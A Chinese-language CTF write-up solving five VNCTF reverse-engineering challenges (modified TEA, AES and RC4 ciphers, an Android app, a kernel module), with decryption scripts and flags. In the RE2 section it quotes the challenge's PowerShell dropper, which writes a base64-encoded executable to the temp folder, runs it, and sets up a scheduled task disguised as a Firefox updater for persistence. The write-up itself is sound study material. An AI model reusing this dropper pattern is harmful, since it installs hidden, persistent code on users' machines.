这次比赛因为有事外出,只做了前两题,最近有空才把另外3题也做出来,总体来说比以往的VNCTF逆向题目要难一些。当然也有可能是我水平退步了,就算有时间参加比赛,应该也做不完这5题。VN的小伙伴越来越厉害了,出的题质量还不错哦。
RE1:TBXO
全部代码都采用了栈地址修改的方法进行跳转
静态分析不方便,只好动态调试,好在加密算法这个函数没有怎么混淆
分析得到是魔改的TEA算法,key是cdbgnamie_dyilik
写脚本计算出flag:
import struct
def decrypt(v, k):v0 = v[0]v1 = v[1]delta = 0x9E3779B9x = delta*32&0xffffffffk0 = k[0]k1 = k[1]k2 = k[2]k3 = k[3]for i in range(32):v1 -= ((v0 << 4) + k2) ^ (v0 + x) ^ ((v0 >> 5) + k3) ^ 0x33v1 = v1 & 0xFFFFFFFFv0 -= ((v1 << 4) + k0) ^ (v1 + x) ^ ((v1 >> 5) + k1) ^ 0x33v0 = v0 & 0xFFFFFFFFx -= deltax = x & 0xFFFFFFFFv[0] = v0v[1] = v1return v
if __name__ == '__main__':encrypted=[0x31363010, 0xAD938623, 0x8492D4C5, 0x7567E366, 0xC786696B, 0xA0092E31, 0xDB695733, 0xDD13A893, 0x88D8A53E, 0x7E845437]key = [0x67626463, 0x696D616E, 0x79645F65, 0x6B696C69]for i in range(len(encrypted)//2):decrypted = decrypt(encrypted[i*2:i*2+2], key)x=struct.pack('<2I',decrypted[0],decrypted[1]).decode()print(x,end='')
# VNCTF{Box_obfuscation_and_you_ar_socool}
RE2:baby_c2
流量包中能看到flag.txt文件和加密的内容:
再看另一个powershell脚本,用base64逐层解码如下:
$b64EncodedData = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABe9JNiGpX9MRqV/TEalf0xE+1uMRaV/TEcFPwwGJX9MRwU+DAJlf0xHBT5MBaV/TEcFP4wGJX9MVHt/DARlf0xGpX8MVGV/TFwFPQwG5X9MXAUAjEblf0xcBT/MBuV/TFSaWNoGpX9MQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA" //内容过长,省去部分内容$PEBytes = [System.Convert]::FromBase64String($b64EncodedData)
$filePath = Join-Path -Path $env:TEMP -ChildPath "169sdaf1c56a4s5da4.bin"
$PEBytes | Set-Content -Path $filePath -Encoding byte -Force
Start-Process -FilePath "cmd.exe" -ArgumentList "/c start %temp%\169sdaf1c56a4s5da4.bin"$actionParams = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c start %temp%\169sdaf1c56a4s5da4.bin"
$trigger = New-ScheduledTaskTrigger -Once -At (Get-Date) -RepetitionInterval (New-TimeSpan -Minutes 5)
$taskName = "Firef0x update services"
Register-ScheduledTask -TaskName $taskName -Trigger $trigger -Action $actionParams -Description "This scheduled task is implemented to check firefox upgrade."
Start-ScheduledTask -TaskName $taskName
前面的b64EncodedData解码后得到一个exe文件,其中s参数处理中有两个函数是动态加密生成的代码,加密部分是在sub_401220:
显然根据比赛的日期,判断出v3=217,对数据异或得到2个关键函数代码
明显是RC4加密,key根据主函数中的代码是由PathFindFileNameA调用得到的
该方法就是返回文件名,这个文件名在抓包的报文中就是flag.txt,因此可以解密文件得到flag.txt的内容
RE3:yun
这个app我的华为手机都装不了,需要android 11,更别说虚机和模拟器了,不能进行调试,只能靠静态分析。
解压出来so库文件,然后发现JNI_Onload里什么都没有,比较奇怪,然后看汇编发现有问题
最后ret到了sub_1fb44去执行了
真正注册的函数在这里:
再看下这个主函数
sub_20004就是好像变量复制,sub_1F17C是获取输入字符串内容,而sub_1EAE0是加密数据的核心代码
根据VNVN数据生成加密数据(这里VNVN在启动后会被改成“s0ry”)
最后再进行base64编码,然后判断是否和bjJydXY4LXB6cnIyZjJxam0ydGNvM3RqOGQ0eTBpdHpoMXUt相等
因此用z3写出爆破求解脚本,不需要什么计算,直接出结果:
from z3 import *
s = Solver()
flag = [BitVec('x%d' % i, 16) for i in range(36)]
tmp=[0]*4
b='s0ry'
a='abcdefghijklmnopqrstuvwxyz1234567890-'
res='n2ruv8-pzrr2f2qjm2tco3tj8d4y0itzh1u-'
for i in range(2):for j in range(2):tmp[2*i+j]=a.index(b[2*i+j])
ret=[0]*36
for i in range(len(flag)//2):for j in range(2):for k in range(2):ret[i*2+j]+=flag[i*2+k]*tmp[k*2+j]
for i in range(36):s.add(And(flag[i]>=0,flag[i]<37))s.add(ret[i]%37==a.index(res[i]))if s.check() != sat:print ("error!")
count=0
while s.check() == sat:m = s.model()count+=1
print(count,''.join(a[m[flag[i]].as_long()%37] for i in range(36)))
#flag:75531c14-8825-44ed-a9ec-74d47d5cb76b
RE4:obfuse
题目给的是个.o的文件,除非找到正确的gcc版本,否则不能编译成可执行的程序,因此也不能调试,只能静态分析
代码混淆有两种跳转,第一种是2个条件跳转,第二种是一个jmp $+5
第一种混淆可以看出来两个跳转后有4个乱字节,可以写脚本patch掉,一个块带跳转共替换成16个nop;
第二种比较简单,就直接把jmp $+5这句替换成5个nop就行。
除去跳转混淆以后,可以用F5看伪代码了,不过还是有扁平化混淆,不知道这时候D810插件为啥报错了
只好肉眼手工慢慢看
这里unnamed_3和4都是16字节的数据,unamed_5则是加密后比较的数据
还给了提示,应该是魔改了4处的加密算法:
首先根据加密过程,判断出来应该是个AES算法:
第一处魔改是与IV异或的地方,就是sub_406790:
相当于明文和IV异或的时候也同时和i+22进行异或,这个i就是0-15的字符串下标索引
第二处魔改是AddRoundkey函数,在sub_403610:
实现类似如下的逻辑:
for i in range(4):for j in range(4):data[i*4+j]^=roundkey[i*4+j]^i^j
第三处魔改是MixColumns函数,在sub_404160:
有4次异或0x64的操作
实现这样的代码:
static void MixColumns(state_t* state)
{uint8_t i;uint8_t Tmp, Tm, t;for (i = 0; i < 4; ++i){ t = (*state)[i][0];Tmp = (*state)[i][0] ^ (*state)[i][1] ^ (*state)[i][2] ^ (*state)[i][3] ;Tm = (*state)[i][0] ^ (*state)[i][1] ; Tm = xtime(Tm); (*state)[i][0] ^= Tm ^ Tmp ^0x64;Tm = (*state)[i][1] ^ (*state)[i][2] ; Tm = xtime(Tm); (*state)[i][1] ^= Tm ^ Tmp ^0x64;Tm = (*state)[i][2] ^ (*state)[i][3] ; Tm = xtime(Tm); (*state)[i][2] ^= Tm ^ Tmp ^0x64;Tm = (*state)[i][3] ^ t ; Tm = xtime(Tm); (*state)[i][3] ^= Tm ^ Tmp ^0x64;}
}
最后一处是PlainSubBytes函数,在sub_403b60:
对查表结果进行了异或0xC8
找对4处魔改,写AES解密脚本即可完成解密:
import re
import binasciiclass Aes:#字节替换s盒,未修改sbox = [0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16]s_box = {}ns_box = { # 逆字节替换s盒}Rcon = { # Rcon生成密钥的表1: ['0x01', '0x00', '0x00', '0x00'],2: ['0x02', '0x00', '0x00', '0x00'],3: ['0x04', '0x00', '0x00', '0x00'],4: ['0x08', '0x00', '0x00', '0x00'],5: ['0x10', '0x00', '0x00', '0x00'],6: ['0x20', '0x00', '0x00', '0x00'],7: ['0x40', '0x00', '0x00', '0x00'],8: ['0x80', '0x00', '0x00', '0x00'],9: ['0x1B', '0x00', '0x00', '0x00'],10: ['0x36', '0x00', '0x00', '0x00']}Matrix = [ # 列混淆['0x02', '0x03', '0x01', '0x01'],['0x01', '0x02', '0x03', '0x01'],['0x01', '0x01', '0x02', '0x03'],['0x03', '0x01', '0x01', '0x02']]ReMatrix = [ # 逆列混淆['0x0e', '0x0b', '0x0d', '0x09'],['0x09', '0x0e', '0x0b', '0x0d'],['0x0d', '0x09', '0x0e', '0x0b'],['0x0b', '0x0d', '0x09', '0x0e']]plaintext = [[], [], [], []] # 存放明文plaintext1 = [[], [], [], []] # 最后输出的密文subkey = [[], [], [], []] # 存放密钥def __init__(self, key): # 构造函数,同时生成密钥self.s_box = dict(zip(["0x%02x"%i for i in range(256)], ["0x%02x"%i for i in self.sbox])) self.ns_box = dict(zip(self.s_box.values(), self.s_box.keys())) # s盒键值互换,变为逆S盒for i in range(4):for j in range(0, 8, 2):self.subkey[i].append("0x" + key[i * 8 + j:i * 8 + j + 2]) # 将密钥变成二维矩阵# print(self.subkey)for i in range(4, 44): # 生成密钥if i % 4 != 0: # 如果不是4的倍数,那么直接异或tmp = xor_32(self.subkey[i - 1], self.subkey[i - 4])self.subkey.append(tmp)else: # 4的倍数的时候执行tmp1 = self.subkey[i - 1][1:]tmp1.append(self.subkey[i - 1][0])# print(tmp1)for m in range(4):tmp1[m] = self.s_box[tmp1[m]]# tmp1 = self.s_box['cf'] # 字节代替tmp1 = xor_32(tmp1, self.Rcon[i / 4]) # 和Rcon异或self.subkey.append(xor_32(tmp1, self.subkey[i - 4]))# print(self.subkey)def AddRoundKey(self, round): # 轮密钥加for i in range(4):temp=[]for j in range(4):temp.append("0x%02x"%(int(self.plaintext[i][j],16)^int(self.subkey[round * 4 + i][j],16)^i^j))self.plaintext[i]=temp#self.plaintext[i] = xor_32(self.plaintext[i], self.subkey[round * 4 + i])# print('AddRoundKey',self.plaintext)def RePlainSubBytes(self): # 逆字节代替for i in range(4):for j in range(4):self.plaintext[i][j] = self.ns_box["0x%02x"%(int(self.plaintext[i][j],16)^0xc8)]def ReShiftRows(self): # 逆行移位p1, p2, p3, p4 = self.plaintext[0][1], self.plaintext[1][1], self.plaintext[2][1], self.plaintext[3][1]self.plaintext[3][1] = p3self.plaintext[2][1] = p2self.plaintext[0][1] = p4self.plaintext[1][1] = p1p1, p2, p3, p4 = self.plaintext[0][2], self.plaintext[1][2], self.plaintext[2][2], self.plaintext[3][2]self.plaintext[0][2] = p3self.plaintext[1][2] = p4self.plaintext[2][2] = p1self.plaintext[3][2] = p2p1, p2, p3, p4 = self.plaintext[0][3], self.plaintext[1][3], self.plaintext[2][3], self.plaintext[3][3]self.plaintext[0][3] = p2self.plaintext[1][3] = p3self.plaintext[2][3] = p4self.plaintext[3][3] = p1def ReMixColumns(self): # 逆列混淆for i in range(4):self.plaintext[i] = xor_32(self.plaintext[i], ['0x64']*4)for j in range(4):self.plaintext1[i].append(MatrixMulti(self.ReMatrix[j],self.plaintext[i]))def AES_ECB_Dec(self, cipher): # AES单组解密函数self.plaintext = [[], [], [], []]for i in range(4):for j in range(0, 8, 2):self.plaintext[i].append('0x' + cipher[i * 8 + j:i * 8 + j + 2]) # 16进制转成2进制# print(self.ns_box)self.AddRoundKey(10)for i in range(9):self.ReShiftRows()self.RePlainSubBytes()self.AddRoundKey(9-i)self.ReMixColumns()self.plaintext = self.plaintext1self.plaintext1 = [[], [], [], []]self.ReShiftRows()self.RePlainSubBytes()self.AddRoundKey(0)return Matrixtostr(self.plaintext)def AES_CBC_Dec(self, cipher ,iv): #bytes cipher,ivplain=b''for i in range(len(cipher)//16-1,-1,-1):plain16 = self.AES_ECB_Dec(cipher[i*16:(i+1)*16].hex())if i>0:plain=xor(bytes.fromhex(plain16),xor(cipher[i*16-16:i*16],iv0))+plainelse:plain=xor(bytes.fromhex(plain16),xor(iv,iv0))+plainreturn plaindef Encryption(self, text): # 加密函数group = PlaintextGroup(TextToByte(text), 32, 1)# print(group)cipher = ""for i in range(len(group)):cipher = cipher + self.AESEncryption(group[i])return cipherdef Decryption(self, cipher): # 解密函数group = PlaintextGroup(cipher, 32, 0)# print(group)text = ''for i in range(len(group)):text = text + self.AESDecryption(group[i])text = ByteToText(text)return text
def xor_32(start, end): # 32位进行异或a = []for i in range(0, 4):xor_tmp = ""b = hextobin(start[i])c = hextobin(end[i])for j in range(8):xor_tmp += str(int(b[j], 10) ^ int(c[j], 10))a.append(bintohex(xor_tmp))return a
def xor_8(begin, end): # 二进制字符串8位异或xor_8_tmp = ""for i in range(8):xor_8_tmp += str(int(begin[i]) ^ int(end[i]))return xor_8_tmp
def hextobin(word): # 把十六进制转换成二进制word = bin(int(word, 16))[2:] # 去除掉最前面的0bfor i in range(0, 8-len(word)): # 补全八位word = '0'+wordreturn word
def bintohex(word): # 把二进制转换十六进制word = hex(int(word, 2))if len(word) == 4:return wordelif len(word) < 4:return word.replace('x', 'x0')
def MatrixMulti(s1, s2): # 列混淆中的矩阵乘法result = []s3 = []for i in range(4):s3.append(hextobin(s2[i])) # s3保存原始矩阵一行的四个二进制值for i in range(4):result.append(MultiProcess(int(s1[i], 16), s3[i]))for i in range(3):result[0] = xor_8(result[0], result[i+1])return bintohex(result[0])
def MultiProcess(a, b): # 列混淆中的乘法运算的具体过程if a == 1:return belif a == 2:if b[0] == '0':b = b[1:] + '0'else:b = b[1:] + '0'b = xor_8(b, '00011011')return belif a == 3:tmp_b = bif b[0] == '0':b = b[1:] + '0'else:b = b[1:] + '0'b = xor_8(b, '00011011')return xor_8(b, tmp_b)elif a == 9:tmp_b = breturn xor_8(tmp_b, MultiProcess(2, MultiProcess(2, MultiProcess(2, b))))elif a == 11:tmp_b = breturn xor_8(tmp_b, xor_8(MultiProcess(2, MultiProcess(2, MultiProcess(2, b))), MultiProcess(2, b)))elif a == 13:tmp_b = breturn xor_8(tmp_b, xor_8(MultiProcess(2, MultiProcess(2, MultiProcess(2, b))), MultiProcess(2, MultiProcess(2, b))))elif a == 14:return xor_8(MultiProcess(2, b), xor_8(MultiProcess(2, MultiProcess(2, MultiProcess(2, b))), MultiProcess(2, MultiProcess(2, b))))
def Matrixtostr(matrix): # 矩阵转成字符串result = ""for i in range(4):for j in range(4):result += matrix[i][j][2:]return result
def PlaintextGroup(plaintext, length, flag): # 明文分组和填充group = re.findall('.{'+str(length)+'}', plaintext)group.append(plaintext[len(group)*length:])if group[-1] == '' and flag:group[-1] = '16161616161616161616161616161616'elif len(group[-1]) < length and flag:tmp = int((length-len(group[-1])) / 2)if tmp < 10:for i in range(tmp):group[-1] = group[-1] + '0'+str(tmp)else:for i in range(tmp):group[-1] = group[-1] + str(tmp)elif not flag:del group[-1]return group
def TextToByte(words): # 明文转成十六进制字节流text = words.encode('utf-8').hex()return text
def ByteToText(encode): # 十六进制字节流转成明文tmp = int(encode[-2:])word = ''for i in range(len(encode)-tmp*2):word = word + encode[i]# print(word)word = bytes.decode(binascii.a2b_hex(word))return word
def xor(a,b):return bytes([i^j for i,j in zip(a,b)])
from Crypto.Util.number import *
#下面是手工CBCd
iv='000102030405060708090A0B0C0D0E0F'
ciphertext='B5962103B6D50DE30CD75B887CEB297E1414EA8802FEBA923994D2F6472BE26F'
key='2B7E151628AED2A6ABF7158809CF4F3C'.lower()
iv0=bytes.fromhex('161718191a1b1c1d1e1f202122232425')
A1 = Aes(key)
print(A1.AES_CBC_Dec(bytes.fromhex(ciphertext),bytes.fromhex(iv)))
# VNCTF{th1s_t@stes_go0d_r1ght~~?}
RE5:ko
感觉这题比较坑,有点像MISC,一直找不到RC4的key,谁会知道用户代码会怎么写?!
后来发现内核日志信息里居然有提示,才明白为啥代码中要写这么多printk,好吧,是我肤浅了。
首先,代码中所有的数据都经过了加密
在初始化函数中调用_register_chrdev,_class_create,device_create进行驱动的注册
注意off_CE0这里,对几个回调函数都进行了注册
其中核心的逻辑在ioctl回调函数中
根据调用函数的参数顺序分别有如下代码:
第一部分主要是调用了rc4_init函数
第二部分主要是调用了rc4_encrypt函数
第三部分主要是调用了check_flag函数
下面在分别说下这3个函数
rc4_init函数:这个函数没啥问题,里面就多了一个srand(),后面细说。
rc4_encrypt函数:这里有魔改的地方,有个随机数加入了加密流程
而check_flag函数就是一个比较字符串长度和内容是否正确的
看看mt19937gen函数:
就是一个标准的梅森旋转数伪随机算法。
再看下srand函数:
这里设置了种子是0xfa11010d
其实流程还是满简单的,关键是rc4的key在哪里,最后在init函数里找到一个日志信息
这里表示1D00这里存放的就是key了,写出解密脚本如下:
def _int32(x):return int(0xFFFFFFFF & x)class MT19937:def __init__(self, seed):self.mt = [0] * 624self.mt[0] = seedself.mti = 0for i in range(1, 624):self.mt[i] = _int32(1812433253 * (self.mt[i - 1] ^ self.mt[i - 1] >> 30) + i)def extract_number(self):if self.mti == 0:self.twist()y = self.mt[self.mti]y = y ^ y >> 11y = y ^ y << 7 & 2636928640y = y ^ y << 15 & 4022730752y = y ^ y >> 18self.mti = (self.mti + 1) % 624return _int32(y)def twist(self):for i in range(0, 624):y = _int32((self.mt[i] & 0x80000000) + (self.mt[(i + 1) % 624] & 0x7fffffff))self.mt[i] = (y >> 1) ^ self.mt[(i + 397) % 624]if y % 2 != 0:self.mt[i] = self.mt[i] ^ 0x9908b0df
rand=MT19937(0xFA11010D)
def rc4_init_sbox(key):s_box = list(range(256)) j = 0for i in range(256):j = (j + s_box[i] + (key[i % len(key)])) % 256s_box[i], s_box[j] = s_box[j], s_box[i]return s_box
def rc4_encrypt(plain, box):res = []i = j = 0for s in plain:i = (i + 1) % 256j = (j + box[i]) % 256box[i], box[j] = box[j], box[i]t = (box[i] + box[j] + rand.extract_number()) % 256k = box[t]res.append(((s) ^ k)&0xff)# print("res用于加密字符串,加密后是:%res" %res)cipher = bytes(res)print("加密后的字符串是:%s" %cipher)
# print(str(base64.b64encode(cipher.encode('utf-8')), 'utf-8'))res=bytes.fromhex('1fd1f1913e5aad6c0425e1c49a5aa0771d6be717ab10e7ac294913fbc487d5be60d7d79692ece1618ab0')
key=b"b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcnNhAAAAAwEAAQAAAYEAwl1xDcAhbdm49z9MEJuVkyw2jFjAAIVYtYIZ2D3bK0YpKLuOY7uqtFOsjCO1I47ZLc2nGWfrvaxtCo28N56Ie5BlvDhjkqlqNZjLwhAVCNLWntCsXJn8xt3vhCEf9ccEiNKgJQzIvXsf96Uh2k76cXLi6yqzvjzmNnkuqiPv"
s_box = rc4_init_sbox(key)
rc4_encrypt(res, s_box)
# VNCTF{Welcome_To_Kernel_World@RETraveler}